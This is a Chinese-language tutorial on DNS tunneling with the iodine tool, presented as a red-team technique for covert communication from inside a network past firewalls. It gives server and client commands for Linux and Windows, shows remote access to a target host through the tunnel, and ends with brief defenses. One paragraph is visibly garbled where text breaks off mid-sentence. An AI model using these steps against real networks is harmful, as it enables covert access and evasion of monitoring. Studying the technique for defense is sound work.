行业新闻

内网隐藏通信隧道技术——DNS隧道

内网隐藏通信隧道技术——DNS隧道

DNS隧道技术原理

什么是隧道?

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

什么是DNS隧道?

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件,因此,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

DNS隧道的原理:

在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。更多使用方法和功能特性,请参考iodine的官方文档:http://code.kryo.se/iodine

1、安装服务端

首先,设置域名。在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)。设置A记录iodine服务器的IP地址,将NS记录指向此域名

接下来,在服务端中安装iodine。在Windows中,需要安装编译好的对应版本的iodine。在Kali Linux中,默认安装了iodine。如果使用的是基于Debian的发行版Linux,可以执行如下命令进行安装:

apt install iodine

安装后,就可以使用如下命令运行iodine了

iodined -f -c -P just_test 192.168.0.1 ***.yokan.*** -DD

-f :  在前台运行

-c :  禁止检查所有传入请求的客户端IP地址

-P :  客户端和服务器之间用于验证身份的密码

-D :  指定调试级别。 -DD指第二级。“D”的数量随等级增加

这里的192.168.0.1是自定义的局域网虚拟IP地址。完成基本配置后,可以通过iodine检查页面(https://code.kryo.se/iodine/check-it)检查配置是否正确

如果配置无误却无法正常工作,需要检查服务端的防火墙配置情况。

2、 安装客户端,并使用DNS隧道

2.1目标主机为Linux

在Linux客户端机器上,只需要安装iodine客户端,命令如下:

apt install iodine

iodine -f -P just_test ***.yokan.*** -M 200

-r :  iodine有时可能会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道

-M :  指定上行主机名的大小

-m :  调节最大下行分片的大小

-T :  指定所使用的DNS请求的类型,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A

-O :  指定数据编码规范

-L :  指定是否开启懒惰模式(默认为开启)

-I :  指定请求与请求之间的时间间隔

出现这个表明建立连接成功

可以看到,客户端上多了一块dns0虚拟网卡

并且可以看到路由规则上增添了192.168.0.0这个网段

使用DNS隧道:

返回服务器查看,发现在服务端上已经建立了连接

新启一个终端,我们尝试在服务器上远程连接目标机器,显示连接成功:

2.2目标主机为Windows

如果目标机器是Windows机器,需要下载编译好的Windows版本,同时,需要安装TAP网卡驱动程序。也可以下载某VPN,在安装时仅选择TAP-Win32驱动程序。安装后,服务器上多了一块名为"TAP-Windows Adapter V9"的网卡

然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip

将iodine-0.7.0-Windows解压后,进入解压目录,输入如下命令,连接服务端

( 要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用)

iodine.exe -f -P just_test ***.yokan.***

如果出现,如上图,“Connection setup complete, transmitting data.”的提示信息,就表示DNS隧道已经建立了。

此时,TCP over DNS已经建立了。在客户端执行"ping 192.168.0.1"命令,连接成功

使用DNS隧道:DNS隧道的使用方法比较简单。由于客户端和服务器在同一个局域网中,只要直接访问即可。例如,登录目标主机的3389端口,就可以直接执行"rdesktop 192.168.0.2:3389"命令。同样,目标主机也可以通过SSH进行登录服务器

防御DNS隧道的方法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信

ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。

iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告

iv)阻止ICMP

关闭